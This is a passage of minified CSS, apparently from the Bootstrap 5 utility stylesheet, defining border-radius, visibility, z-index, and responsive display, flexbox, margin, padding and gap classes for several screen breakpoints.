)!important;border-bottom-right-radius:var(--bs-border-radius-sm)!important}.rounded-end-2{border-top-right-radius:var(--bs-border-radius)!important;border-bottom-right-radius:var(--bs-border-radius)!important}.rounded-end-3{border-top-right-radius:var(--bs-border-radius-lg)!important;border-bottom-right-radius:var(--bs-border-radius-lg)!important}.rounded-end-4{border-top-right-radius:var(--bs-border-radius-xl)!important;border-bottom-right-radius:var(--bs-border-radius-xl)!important}.rounded-end-5{border-top-right-radius:var(--bs-border-radius-xxl)!important;border-bottom-right-radius:var(--bs-border-radius-xxl)!important}.rounded-end-circle{border-top-right-radius:50%!important;border-bottom-right-radius:50%!important}.rounded-end-pill{border-top-right-radius:var(--bs-border-radius-pill)!important;border-bottom-right-radius:var(--bs-border-radius-pill)!important}.rounded-bottom{border-bottom-right-radius:var(--bs-border-radius)!important;border-bottom-left-radius:var(--bs-border-radius)!important}.rounded-bottom-0{border-bottom-right-radius:0!important;border-bottom-left-radius:0!important}.rounded-bottom-1{border-bottom-right-radius:var(--bs-border-radius-sm)!important;border-bottom-left-radius:var(--bs-border-radius-sm)!important}.rounded-bottom-2{border-bottom-right-radius:var(--bs-border-radius)!important;border-bottom-left-radius:var(--bs-border-radius)!important}.rounded-bottom-3{border-bottom-right-radius:var(--bs-border-radius-lg)!important;border-bottom-left-radius:var(--bs-border-radius-lg)!important}.rounded-bottom-4{border-bottom-right-radius:var(--bs-border-radius-xl)!important;border-bottom-left-radius:var(--bs-border-radius-xl)!important}.rounded-bottom-5{border-bottom-right-radius:var(--bs-border-radius-xxl)!important;border-bottom-left-radius:var(--bs-border-radius-xxl)!important}.rounded-bottom-circle{border-bottom-right-radius:50%!important;border-bottom-left-radius:50%!important}.rounded-bottom-pill{border-bottom-right-radius:var(--bs-border-radius-pill)!important;border-bottom-left-radius:var(--bs-border-radius-pill)!important}.rounded-start{border-bottom-left-radius:var(--bs-border-radius)!important;border-top-left-radius:var(--bs-border-radius)!important}.rounded-start-0{border-bottom-left-radius:0!important;border-top-left-radius:0!important}.rounded-start-1{border-bottom-left-radius:var(--bs-border-radius-sm)!important;border-top-left-radius:var(--bs-border-radius-sm)!important}.rounded-start-2{border-bottom-left-radius:var(--bs-border-radius)!important;border-top-left-radius:var(--bs-border-radius)!important}.rounded-start-3{border-bottom-left-radius:var(--bs-border-radius-lg)!important;border-top-left-radius:var(--bs-border-radius-lg)!important}.rounded-start-4{border-bottom-left-radius:var(--bs-border-radius-xl)!important;border-top-left-radius:var(--bs-border-radius-xl)!important}.rounded-start-5{border-bottom-left-radius:var(--bs-border-radius-xxl)!important;border-top-left-radius:var(--bs-border-radius-xxl)!important}.rounded-start-circle{border-bottom-left-radius:50%!important;border-top-left-radius:50%!important}.rounded-start-pill{border-bottom-left-radius:var(--bs-border-radius-pill)!important;border-top-left-radius:var(--bs-border-radius-pill)!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}.z-n1{z-index:-1!important}.z-0{z-index:0!important}.z-1{z-index:1!important}.z-2{z-index:2!important}.z-3{z-index:3!important}@media (min-width:576px){.float-sm-start{float:left!important}.float-sm-end{float:right!important}.float-sm-none{float:none!important}.object-fit-sm-contain{-o-object-fit:contain!important;object-fit:contain!important}.object-fit-sm-cover{-o-object-fit:cover!important;object-fit:cover!important}.object-fit-sm-fill{-o-object-fit:fill!important;object-fit:fill!important}.object-fit-sm-scale{-o-object-fit:scale-down!important;object-fit:scale-down!important}.object-fit-sm-none{-o-object-fit:none!important;object-fit:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-grid{display:grid!important}.d-sm-inline-grid{display:inline-grid!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:flex!important}.d-sm-inline-flex{display:inline-flex!important}.d-sm-none{display:none!important}.flex-sm-fill{flex:1 1 auto!important}.flex-sm-row{flex-direction:row!important}.flex-sm-column{flex-direction:column!important}.flex-sm-row-reverse{flex-direction:row-reverse!important}.flex-sm-column-reverse{flex-direction:column-reverse!important}.flex-sm-grow-0{flex-grow:0!important}.flex-sm-grow-1{flex-grow:1!important}.flex-sm-shrink-0{flex-shrink:0!important}.flex-sm-shrink-1{flex-shrink:1!important}.flex-sm-wrap{flex-wrap:wrap!important}.flex-sm-nowrap{flex-wrap:nowrap!important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-sm-start{justify-content:flex-start!important}.justify-content-sm-end{justify-content:flex-end!important}.justify-content-sm-center{justify-content:center!important}.justify-content-sm-between{justify-content:space-between!important}.justify-content-sm-around{justify-content:space-around!important}.justify-content-sm-evenly{justify-content:space-evenly!important}.align-items-sm-start{align-items:flex-start!important}.align-items-sm-end{align-items:flex-end!important}.align-items-sm-center{align-items:center!important}.align-items-sm-baseline{align-items:baseline!important}.align-items-sm-stretch{align-items:stretch!important}.align-content-sm-start{align-content:flex-start!important}.align-content-sm-end{align-content:flex-end!important}.align-content-sm-center{align-content:center!important}.align-content-sm-between{align-content:space-between!important}.align-content-sm-around{align-content:space-around!important}.align-content-sm-stretch{align-content:stretch!important}.align-self-sm-auto{align-self:auto!important}.align-self-sm-start{align-self:flex-start!important}.align-self-sm-end{align-self:flex-end!important}.align-self-sm-center{align-self:center!important}.align-self-sm-baseline{align-self:baseline!important}.align-self-sm-stretch{align-self:stretch!important}.order-sm-first{order:-1!important}.order-sm-0{order:0!important}.order-sm-1{order:1!important}.order-sm-2{order:2!important}.order-sm-3{order:3!important}.order-sm-4{order:4!important}.order-sm-5{order:5!important}.order-sm-last{order:6!important}.m-sm-0{margin:0!important}.m-sm-1{margin:.25rem!important}.m-sm-2{margin:.5rem!important}.m-sm-3{margin:1rem!important}.m-sm-4{margin:1.5rem!important}.m-sm-5{margin:3rem!important}.m-sm-auto{margin:auto!important}.mx-sm-0{margin-right:0!important;margin-left:0!important}.mx-sm-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-sm-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-sm-3{margin-right:1rem!important;margin-left:1rem!important}.mx-sm-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-sm-5{margin-right:3rem!important;margin-left:3rem!important}.mx-sm-auto{margin-right:auto!important;margin-left:auto!important}.my-sm-0{margin-top:0!important;margin-bottom:0!important}.my-sm-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-sm-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-sm-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-sm-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-sm-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-sm-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-sm-0{margin-top:0!important}.mt-sm-1{margin-top:.25rem!important}.mt-sm-2{margin-top:.5rem!important}.mt-sm-3{margin-top:1rem!important}.mt-sm-4{margin-top:1.5rem!important}.mt-sm-5{margin-top:3rem!important}.mt-sm-auto{margin-top:auto!important}.me-sm-0{margin-right:0!important}.me-sm-1{margin-right:.25rem!important}.me-sm-2{margin-right:.5rem!important}.me-sm-3{margin-right:1rem!important}.me-sm-4{margin-right:1.5rem!important}.me-sm-5{margin-right:3rem!important}.me-sm-auto{margin-right:auto!important}.mb-sm-0{margin-bottom:0!important}.mb-sm-1{margin-bottom:.25rem!important}.mb-sm-2{margin-bottom:.5rem!important}.mb-sm-3{margin-bottom:1rem!important}.mb-sm-4{margin-bottom:1.5rem!important}.mb-sm-5{margin-bottom:3rem!important}.mb-sm-auto{margin-bottom:auto!important}.ms-sm-0{margin-left:0!important}.ms-sm-1{margin-left:.25rem!important}.ms-sm-2{margin-left:.5rem!important}.ms-sm-3{margin-left:1rem!important}.ms-sm-4{margin-left:1.5rem!important}.ms-sm-5{margin-left:3rem!important}.ms-sm-auto{margin-left:auto!important}.p-sm-0{padding:0!important}.p-sm-1{padding:.25rem!important}.p-sm-2{padding:.5rem!important}.p-sm-3{padding:1rem!important}.p-sm-4{padding:1.5rem!important}.p-sm-5{padding:3rem!important}.px-sm-0{padding-right:0!important;padding-left:0!important}.px-sm-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-sm-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-sm-3{padding-right:1rem!important;padding-left:1rem!important}.px-sm-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-sm-5{padding-right:3rem!important;padding-left:3rem!important}.py-sm-0{padding-top:0!important;padding-bottom:0!important}.py-sm-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-sm-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-sm-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-sm-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-sm-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-sm-0{padding-top:0!important}.pt-sm-1{padding-top:.25rem!important}.pt-sm-2{padding-top:.5rem!important}.pt-sm-3{padding-top:1rem!important}.pt-sm-4{padding-top:1.5rem!important}.pt-sm-5{padding-top:3rem!important}.pe-sm-0{padding-right:0!important}.pe-sm-1{padding-right:.25rem!important}.pe-sm-2{padding-right:.5rem!important}.pe-sm-3{padding-right:1rem!important}.pe-sm-4{padding-right:1.5rem!important}.pe-sm-5{padding-right:3rem!important}.pb-sm-0{padding-bottom:0!important}.pb-sm-1{padding-bottom:.25rem!important}.pb-sm-2{padding-bottom:.5rem!important}.pb-sm-3{padding-bottom:1rem!important}.pb-sm-4{padding-bottom:1.5rem!important}.pb-sm-5{padding-bottom:3rem!important}.ps-sm-0{padding-left:0!important}.ps-sm-1{padding-left:.25rem!important}.ps-sm-2{padding-left:.5rem!important}.ps-sm-3{padding-left:1rem!important}.ps-sm-4{padding-left:1.5rem!important}.ps-sm-5{padding-left:3rem!important}.gap-sm-0{gap:0!important}.gap-sm-1{gap:.25rem!important}.gap-sm-2{gap:.5rem!important}.gap-sm-3{gap:1rem!important}.gap-sm-4{gap:1.5rem!important}.gap-sm-5{gap:3rem!important}.row-gap-sm-0{row-gap:0!important}.row-gap-sm-1{row-gap:.25rem!important}.row-gap-sm-2{row-gap:.5rem!important}.row-gap-sm-3{row-gap:1rem!important}.row-gap-sm-4{row-gap:1.5rem!important}.row-gap-sm-5{row-gap:3rem!important}.column-gap-sm-0{-moz-column-gap:0!important;column-gap:0!important}.column-gap-sm-1{-moz-column-gap:0.25rem!important;column-gap:.25rem!important}.column-gap-sm-2{-moz-column-gap:0.5rem!important;column-gap:.5rem!important}.column-gap-sm-3{-moz-column-gap:1rem!important;column-gap:1rem!important}.column-gap-sm-4{-moz-column-gap:1.5rem!important;column-gap:1.5rem!important}.column-gap-sm-5{-moz-column-gap:3rem!important;column-gap:3rem!important}.text-sm-start{text-align:left!important}.text-sm-end{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.float-md-start{float:left!important}.float-md-end{float:right!important}.float-md-none{float:none!important}.object-fit-md-contain{-o-object-fit:contain!important;object-fit:contain!important}.object-fit-md-cover{-o-object-fit:cover!important;object-fit:cover!important}.object-fit-md-fill{-o-object-fit:fill!important;object-fit:fill!important}.object-fit-md-scale{-o-object-fit:scale-down!important;object-fit:scale-down!important}.object-fit-md-none{-o-object-fit:none!important;object-fit:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-grid{display:grid!important}.d-md-inline-grid{display:inline-grid!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:flex!important}.d-md-inline-flex{display:inline-flex!important}.d-md-none{display:none!important}.flex-md-fill{flex:1 1 auto!important}.flex-md-row{flex-direction:row!important}.flex-md-column{flex-direction:column!important}.flex-md-row-reverse{flex-direction:row-reverse!important}.flex-md-column-reverse{flex-direction:column-reverse!important}.flex-md-grow-0{flex-grow:0!important}.flex-md-grow-1{flex-grow:1!important}.flex-md-shrink-0{flex-shrink:0!important}.flex-md-shrink-1{flex-shrink:1!important}.flex-md-wrap{flex-wrap:wrap!important}.flex-md-nowrap{flex-wrap:nowrap!important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-md-start{justify-content:flex-start!important}.justify-content-md-end{justify-content:flex-end!important}.justify-content-md-center{justify-content:center!important}.justify-content-md-between{justify-content:space-between!important}.justify-content-md-around{justify-content:space-around!important}.justify-content-md-evenly{justify-content:space-evenly!important}.align-items-md-start{align-items:flex-start!important}.align-items-md-end{align-items:flex-end!important}.align-items-md-center{align-items:center!important}.align-items-md-baseline{align-items:baseline!important}.align-items-md-stretch{align-items:stretch!important}.align-content-md-start{align-content:flex-start!important}.align-content-md-end{align-content:flex-end!important}.align-content-md-center{align-content:center!important}.align-content-md-between{align-content:space-between!important}.align-content-md-around{align-content:space-around!important}.align-content-md-stretch{align-content:stretch!important}.align-self-md-auto{align-self:auto!important}.align-self-md-start{align-self:flex-start!important}.align-self-md-end{align-self:flex-end!important}.align-self-md-center{align-self:center!important}.align-self-md-baseline{align-self:baseline!important}.align-self-md-stretch{align-self:stretch!important}.order-md-first{order:-1!important}.order-md-0{order:0!important}.order-md-1{order:1!important}.order-md-2{order:2!important}.order-md-3{order:3!important}.order-md-4{order:4!important}.order-md-5{order:5!important}.order-md-last{order:6!important}.m-md-0{margin:0!important}.m-md-1{margin:.25rem!important}.m-md-2{margin:.5rem!important}.m-md-3{margin:1rem!important}.m-md-4{margin:1.5rem!important}.m-md-5{margin:3rem!important}.m-md-auto{margin:auto!important}.mx-md-0{margin-right:0!important;margin-left:0!important}.mx-md-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-md-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-md-3{margin-right:1rem!important;margin-left:1rem!important}.mx-md-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-md-5{margin-right:3rem!important;margin-left:3rem!important}.mx-md-auto{margin-right:auto!important;margin-left:auto!important}.my-md-0{margin-top:0!important;margin-bottom:0!important}.my-md-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-md-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-md-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-md-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-md-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-md-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-md-0{margin-top:0!important}.mt-md-1{margin-top:.25rem!important}.mt-md-2{margin-top:.5rem!important}.mt-md-3{margin-top:1rem!important}.mt-md-4{margin-top:1.5rem!important}.mt-md-5{margin-top:3rem!important}.mt-md-auto{margin-top:auto!important}.me-md-0{margin-right:0!important}.me-md-1{margin-right:.25rem!important}.me-md-2{margin-right:.5rem!important}.me-md-3{margin-right:1rem!important}.me-md-4{margin-right:1.5rem!important}.me-md-5{margin-right:3rem!important}.me-md-auto{margin-right:auto!important}.mb-md-0{margin-bottom:0!important}.mb-md-1{margin-bottom:.25rem!important}.mb-md-2{margin-bottom:.5rem!important}.mb-md-3{margin-bottom:1rem!important}.mb-md-4{margin-bottom:1.5rem!important}.mb-md-5{margin-bottom:3rem!important}.mb-md-auto{margin-bottom:auto!important}.ms-md-0{margin-left:0!important}.ms-md-1{margin-left:.25rem!important}.ms-md-2{margin-left:.5rem!important}.ms-md-3{margin-left:1rem!important}.ms-md-4{margin-left:1.5rem!important}.ms-md-5{margin-left:3rem!important}.ms-md-auto{margin-left:auto!important}.p-md-0{padding:0!important}.p-md-1{padding:.25rem!important}.p-md-2{padding:.5rem!important}.p-md-3{padding:1rem!important}.p-md-4{padding:1.5rem!important}.p-md-5{padding:3rem!important}.px-md-0{padding-right:0!important;padding-left:0!important}.px-md-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-md-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-md-3{padding-right:1rem!important;padding-left:1rem!important}.px-md-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-md-5{padding-right:3rem!important;padding-left:3rem!important}.py-md-0{padding-top:0!important;padding-bottom:0!important}.py-md-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-md-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-md-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-md-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-md-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-md-0{padding-top:0!important}.pt-md-1{padding-top:.25rem!important}.pt-md-2{padding-top:.5rem!important}.pt-md-3{padding-top:1rem!important}.pt-md-4{padding-top:1.5rem!important}.pt-md-5{padding-top:3rem!important}.pe-md-0{padding-right:0!important}.pe-md-1{padding-right:.25rem!important}.pe-md-2{padding-right:.5rem!important}.pe-md-3{padding-right:1rem!important}.pe-md-4{padding-right:1.5rem!important}.pe-md-5{padding-right:3rem!important}.pb-md-0{padding-bottom:0!important}.pb-md-1{padding-bottom:.25rem!important}.pb-md-2{padding-bottom:.5rem!important}.pb-md-3{padding-bottom:1rem!important}.pb-md-4{padding-bottom:1.5rem!important}.pb-md-5{padding-bottom:3rem!important}.ps-md-0{padding-left:0!important}.ps-md-1{padding-left:.25rem!important}.ps-md-2{padding-left:.5rem!important}.ps-md-3{padding-left:1rem!important}.ps-md-4{padding-left:1.5rem!important}.ps-md-5{padding-left:3rem!important}.gap-md-0{gap:0!important}.gap-md-1{gap:.25rem!important}.gap-md-2{gap:.5rem!important}.gap-md-3{gap:1rem!important}.gap-md-4{gap:1.5rem!important}.gap-md-5{gap:3rem!important}.row-gap-md-0{row-gap:0!important}.row-gap-md-1{row-gap:.25rem!important}.row-gap-md-2{row-gap:.5rem!important}.row-gap-md-3{row-gap:1rem!important}.row-gap-md-4{row-gap:1.5rem!important}.row-gap-md-5{row-gap:3rem!important}.column-gap-md-0{-moz-column-gap:0!important;column-gap:0!important}.column-gap-md-1{-moz-column-gap:0.25rem!important;column-gap:.25rem!important}.column-gap-md-2{-moz-column-gap:0.5rem!important;column-gap:.5rem!important}.column-gap-md-3{-moz-column-gap:1rem!important;column-gap:1rem!important}.column-gap-md-4{-moz-column-gap:1.5rem!important;column-gap:1.5rem!important}.column-gap-md-5{-moz-column-gap:3rem!important;column-gap:3rem!important}.text-md-start{text-align:left!important}.text-md-end{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.float-lg-start{float:left!important}.float-lg-end{float:right!important}.float-lg-none{float:none!important}.object-fit-lg-contain{-o-object-fit:contain!important;object-fit:contain!important}.object-fit-lg-cover{-o-object-fit:cover!important;object-fit:cover!important}.object-fit-lg-fill{-o-object-fit:fill!important;object-fit:fill!important}.object-fit-lg-scale{-o-object-fit:scale-down!important;object-fit:scale-down!important}.object-fit-lg-none{-o-object-fit:none!important;object-fit:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-grid{display:grid!important}.d-lg-inline-grid{display:inline-grid!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:flex!important}.d-lg-inline-flex{display:inline-flex!important}.d-lg-none{display:none!important}.flex-lg-fill{flex:1 1 auto!important}.flex-lg-row{flex-direction:row!important}.flex-lg-column{flex-direction:column!important}.flex-lg-row-reverse{flex-direction:row-reverse!important}.flex-lg-column-reverse{flex-direction:column-reverse!important}.flex-lg-grow-0{flex-grow:0!important}.flex-lg-grow-1{flex-grow:1!important}.flex-lg-shrink-0{flex-shrink:0!important}.flex-lg-shrink-1{flex-shrink:1!important}.flex-lg-wrap{flex-wrap:wrap!important}.flex-lg-nowrap{flex-wrap:nowrap!important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-lg-start{justify-content:flex-start!important}.justify-content-lg-end{justify-content:flex-end!important}.justify-content-lg-center{justify-content:center!important}.justify-content-lg-between{justify-content:space-between!important}.justify-content-lg-around{justify-content:space-around!important}.justify-content-lg-evenly{justify-content:space-evenly!important}.align-items-lg-start{align-items:flex-start!important}.align-items-lg-end{align-items:flex-end!important}.align-items-lg-center{align-items:center!important}.align-items-lg-baseline{align-items:baseline!important}.align-items-lg-stretch{align-items:stretch!important}.align-content-lg-start{align-content:flex-start!important}.align-content-lg-end{align-content:flex-end!important}.align-content-lg-center{align-content:center!important}.align-content-lg-between{align-content:space-between!important}.align-content-lg-around{align-content:space-around!important}.align-content-lg-stretch{align-content:stretch!important}.align-self-lg-auto{align-self:auto!important}.align-self-lg-start{align-self:flex-start!important}.align-self-lg-end{align-self:flex-end!important}.align-self-lg-center{align-self:center!important}.align-self-lg-baseline{align-self:baseline!important}.align-self-lg-stretch{align-self:stretch!important}.order-lg-first{order:-1!important}.order-lg-0{order:0!important}.order-lg-1{order:1!important}.order-lg-2{order:2!important}.order-lg-3{order:3!important}.order-lg-4{order:4!important}.order-lg-5{order:5!important}.order-lg-last{order:6!important}.m-lg-0{margin:0!important}.m-lg-1{margin:.25rem!important}.m-lg-2{margin:.5rem!important}.m-lg-3{margin:1rem!important}.m-lg-4{margin:1.5rem!important}.m-lg-5{margin:3rem!important}.m-lg-auto{margin:auto!important}.mx-lg-0{margin-right:0!important;margin-left:0!important}.mx-lg-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-lg-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-lg-3{margin-right:1rem!important;margin-left:1rem!important}.mx-lg-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-lg-5{margin-right:3rem!important;margin-left:3rem!important}.mx-lg-auto{margin-right:auto!important;margin-left:auto!important}.my-lg-0{margin-top:0!important;margin-bottom:0!important}.my-lg-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-lg-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-lg-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-lg-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-lg-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-lg-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-lg-0{margin-top:0!important}.mt-lg-1{margin-top:.25rem!important}.mt-lg-2{margin-top:.5rem!important}.mt-lg-3{margin-top:1rem!important}.mt-lg-4{margin-top:1.5rem!important}.mt-lg-5{margin-top:3rem!important}.mt-lg-auto{margin-top:auto!important}.me-lg-0{margin-right:0!important}.me-lg-1{margin-right:.25rem!important}.me-lg-2{margin-right:.5rem!important}.me-lg-3{margin-right:1rem!important}.me-lg-4{margin-right:1.5rem!important}.me-lg-5{margin-right:3rem!important}.me-lg-auto{margin-right:auto!important}.mb-lg-0{margin-bottom:0!important}.mb-lg-1{margin-bottom:.25rem!important}.mb-lg-2{margin-bottom:.5rem!important}.mb-lg-3{margin-bottom:1rem!important}.mb-lg-4{margin-bottom:1.5rem!important}.mb-lg-5{margin-bottom:3rem!important}.mb-lg-auto{margin-bottom:auto!important}.ms-lg-0{margin-left:0!important}.ms-lg-1{margin-left:.25rem!important}.ms-lg-2{margin-left:.5rem!important}.ms-lg-3{margin-left:1rem!important}.ms-lg-4{margin-left:1.5rem!important}.ms-lg-5{margin-left:3rem!important}.ms-lg-auto{margin-left:auto!important}.p-lg-0{padding:0!important}.p-lg-1{padding:.25rem!important}.p-lg-2{padding:.5rem!important}.p-lg-3{padding:1rem!important}.p-lg-4{padding:1.5rem!important}.p-lg-5{padding:3rem!important}.px-lg-0{padding-right:0!important;padding-left:0!important}.px-lg-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-lg-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-lg-3{padding-right:1rem!important;padding-left:1rem!important}.px-lg-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-lg-5{padding-right:3rem!important;padding-left:3rem!important}.py-lg-0{padding-top:0!important;padding-bottom:0!important}.py-lg-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-lg-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-lg-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-lg-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-lg-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-lg-0{padding-top:0!important}.pt-lg-1{padding-top:.25rem!important}.pt-lg-2{padding-top:.5rem!important}.pt-lg-3{padding-top:1rem!important}.pt-lg-4{padding-top:1.5rem!important}.pt-lg-5{padding-top:3rem!important}.pe-lg-0{padding-right:0!important}.pe-lg-1{padding-right:.25rem!important}.pe-lg-2{padding-right:.5rem!important}.pe-lg-3{padding-right:1rem!important}.pe-lg-4{padding-right:1.5rem!important}.pe-lg-5{padding-right:3rem!important}.pb-lg-0{padding-bottom:0!important}.pb-lg-1{padding-bottom:.25rem!important}.pb-lg-2{padding-bottom:.5rem!important}.pb-lg-3{padding-bottom:1rem!important}.pb-lg-4{padding-bottom:1.5rem!important}.pb-lg-5{padding-bottom:3rem!important}.ps-lg-0{padding-left:0!important}.ps-lg-1{padding-left:.25rem!important}.ps-lg-2{padding-left:.5rem!important}.ps-lg-3{padding-left:1rem!important}.ps-lg-4{padding-left:1.5rem!important}.ps-lg-5{padding-left:3rem!important}.gap-lg-0{gap:0!important}.gap-lg-1{gap:.25rem!important}.gap-lg-2{gap:.5rem!important}.gap-lg-3{gap:1rem!important}.gap-lg-4{gap:1.5rem!important}.gap-lg-5{gap:3rem!important}.row-gap-lg-0{row-gap:0!important}.row-gap-lg-1{row-gap:.25rem!important}.row-gap-lg-2{row-gap:.5rem!important}.row-gap-lg-3{row-gap:1rem!important}.row-gap-lg-4{row-gap:1.5rem!important}.row-gap-lg-5{row-gap:3rem!important}.column-gap-lg-0{-moz-column-gap:0!important;column-gap:0!important}.column-gap-lg-1{-moz-column-gap:0.25rem!important;column-gap:.25rem!important}.column-gap-lg-2{-moz-column-gap:0.5rem!important;column-gap:.5rem!important}.column-gap-lg-3{-moz-column-gap:1rem!important;column-gap:1rem!important}.column-gap-lg-4{-moz-column-gap:1.5rem!important;column-gap:1.5rem!important}.column-gap-lg-5{-moz-column-gap:3rem!important;column-gap:3rem!important}.text-lg-start{text-align:left!important}.text-lg-end{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.float-xl-start{float:left!important}.float-xl-end{float:right!important}.float-xl-none{float:none!important}.object-fit-xl-contain{-o-object-fit:contain!important;object-fit:contain!important}.object-fit-xl-cover{-o-object-fit:cover!important;object-fit:cover!important}.object-fit-xl-fill{-o-object-fit:fill!important;object-fit:fill!important}.object-fit-xl-scale{-o-object-fit:scale-down!important;object-fit:scale-down!important}.object-fit-xl-none{-o-object-fit:none!important;object-fit:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-grid{display:grid!important}.d-xl-inline-grid{display:inline-grid!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:flex!important}.d-xl-inline-flex{display:inline-flex!important}.d-xl-none{display:none!important}.flex-xl-fill{flex:1 1 auto!important}.flex-xl-row{flex-direction:row!important}.flex-xl-column{flex-direction:column!important}.flex-xl-row-reverse{flex-direction:row-reverse!important}.flex-xl-column-reverse{flex-direction:column-reverse!important}.flex-xl-grow-0{flex-grow:0!important}.flex-xl-grow-1{flex-grow:1!important}.flex-xl-shrink-0{flex-shrink:0!important}.flex-xl-shrink-1{flex-shrink:1!important}.flex-xl-wrap{flex-wrap:wrap!important}.flex-xl-nowrap{flex-wrap:nowrap!important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-xl-start{justify-content:flex-start!important}.justify-content-xl-end{justify-content:flex-end!important}.justify-content-xl-center{justify-content:center!important}.justify-content-xl-between{justify-content:space-between!important}.justify-content-xl-around{justify-content:space-around!important}.justify-content-xl-evenly{justify-content:space-evenly!important}.align-items-xl-start{align-items:flex-start!important}.align-items-xl-end{align-items:flex-end!important}.align-items-xl-center{align-items:center!important}.align-items-xl-baseline{align-items:baseline!important}.align-items-xl-stretch{align-items:stretch!important}.align-content-xl-start{align-content:flex-start!important}.align-content-xl-end{align-content:flex-end!important}.align-content-xl-center{align-content:center!important}.align-content-xl-between{align-content:space-between!important}.align-content-xl-around{align-content:space-around!important}.align-content-xl-stretch{align-content:stretch!important}.align-self-xl-auto{align-self:auto!important}.align-self-xl-start{align-self:flex-start!important}.align-self-xl-end{align-self:flex-end!important}.align-self-xl-center{align-self:center!important}.align-self-xl-baseline{align-self:baseline!important}.align-self-xl-stretch{align-self:stretch!important}.order-xl-first{order:-1!important}.order-xl-0{order:0!important}.order-xl-1{order:1!important}.order-xl-2{order:2!important}.order-xl-3{order:3!important}.order-xl-4{order:4!important}.order-xl-5{order:5!important}.order-xl-last{order:6!important}.m-xl-0{margin:0!important}.m-xl-1{margin:.25rem!important}.m-xl-2{margin:.5rem!important}.m-xl-3{margin:1rem!important}.m-xl-4{margin:1.5rem!important}.m-xl-5{margin:3rem!important}.m-xl-auto{margin:auto!important}.mx-xl-0{margin-right:0!important;margin-left:0!important}.mx-xl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xl-auto{margin-right:auto!important;margin-left:auto!important}.my-xl-0{margin-top:0!important;margin-bottom:0!important}.my-xl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-